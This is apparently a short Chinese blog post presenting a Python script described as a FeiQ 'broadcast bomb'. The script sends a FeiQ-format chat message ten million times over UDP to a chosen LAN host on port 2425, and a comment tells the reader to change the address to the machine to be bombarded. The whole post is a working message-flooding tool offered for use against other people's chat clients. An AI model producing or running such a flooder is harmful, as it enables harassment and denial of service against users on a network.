UDP 协议的运用 用python写飞秋广播炸弹
以下为代码
import socket
def main(x):
# 常见socket
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# 设置允许广播
udp_socket.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
send_message = ('1:1000:liuxin:liuxin:32:%s'%'下午好').encode('gbk')
#send_mess = send_message.decode('gbk')
# 允许广播的地址 地址指定需要轰炸的主机去更改 飞秋默认端口为2425
broadcast_addr = ('192.168.133.114',x)
udp_socket.sendto(send_message,broadcast_addr)
if __name__ == '__main__':
for i in range(10000000):
#main()
main(2425)